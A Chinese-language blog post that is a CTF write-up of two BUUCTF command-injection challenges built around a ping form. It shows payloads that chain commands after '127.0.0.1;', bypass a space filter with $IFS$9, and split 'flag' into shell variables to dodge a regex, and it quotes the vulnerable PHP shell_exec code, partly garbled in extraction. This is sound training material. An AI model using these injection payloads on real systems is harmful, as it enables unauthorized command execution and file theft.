写点什么

命令执行相关的 web 题

作者:w010w
  • 2022-10-24
    新疆
  • 本文字数:1041 字

    阅读完需:约 3 分钟

题目描述和 Ping 有关,可以考虑先 ping 本地 127.0.0.1 看能不能 Ping 通,如果能 ping 通就用多个命令执行的方式执行多个命令找 flag

需要 linux 命令的相关知识

关于命令行与编写 shell 脚本可以参考《Linux 命令行与 shell 脚本编程大全(第 3 版)》

ping:向网络主机发送 ICMP ECHO_REQUEST 数据包。

最基本的网络连接命令就是 ping 命令。ping 命令会向指定的网络主机发送特殊网络数据 包 IMCP ECHO_REQUEST。多数网络设备收到该数据包后会做出回应,通过此法即可 验证网络连接是否正常。


目前的两个题目都在 buuctf 的 web 模块

[ACTF2020 新生赛]Exec

看到了这个 ping,先 ping 一下本地,如果 ping 通了就能,嗯



再试一下 ping 127.0.0.1;ls 看能不能去执行 ls 命令



执行了,这里没有 flag,也没有下级目录,那就去上级目录看看

ping 127.0.0.1;cd ../;ls



多输几个,ping 127.0.0.1;cd ../../../../;ls

这时看到了 flag 目录



ping 127.0.0.1;cd ../../../../;cd flag



那看来 flag 是个文件

127.0.0.1;cd ../../../../;cat flag


[GXYCTF2019]Ping Ping Ping

这道题除了命令还涉及空格的绕过



先来个 127.0.0.1




准备用 cat 打开 flag 时出现了问题



这里看起来是过滤了空格(从提示信息)

那这里就绕过空格

试一下大括号



也过滤了大括号(这里去查了一波),既然是过滤了大括号那 ${IFS}也不行

 

再试一下重定向符号,也不行



再试一下 $IFS$9 ,这里空格是绕过了,flag 又不行了



那把 flag 拆开看看

/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

还是被发现了


那现在最好是能知道过滤的方式

想起来最开始那个 index.php

回去看看 index.php

()真有



/?ip=PING 127.0.0.1 (127.0.0.1): 56 data bytes/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);    die("fxck your symbol!");  } else if(preg_match("/ /", $ip)){    die("fxck your space!");  } else if(preg_match("/bash/", $ip)){    die("fxck your bash!");  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){    die("fxck your flag!");  }  $a = shell_exec("ping -c 4 ".$ip);  echo "";  print_r($a);}?>
复制代码

这里看到 flag 的过滤方式是*f*l*a*g*

那就让 flag 四个字母不要出现在一起

那之前那个是设置变量的时候检测到的,$a=fl;$b=ag;这样是符合*f*l*a*g

那可以设置部分的变量,/?ip=127.0.0.1;a=fl;cat$IFS$9$aag.php



?(?)

哦,这样还是 flag

应该设置后面的,把 ag 放在前面

/?ip=127.0.0.1;a=ag;cat$IFS$9fl$a.php



(这啥也没有啊)

哦,注释里



发布于: 刚刚阅读数: 3
用户头像

w010w

关注

还未添加个人签名 2022-10-17 加入

还未添加个人简介

评论

发布
暂无评论
命令执行相关的web题_命令行_w010w_InfoQ写作社区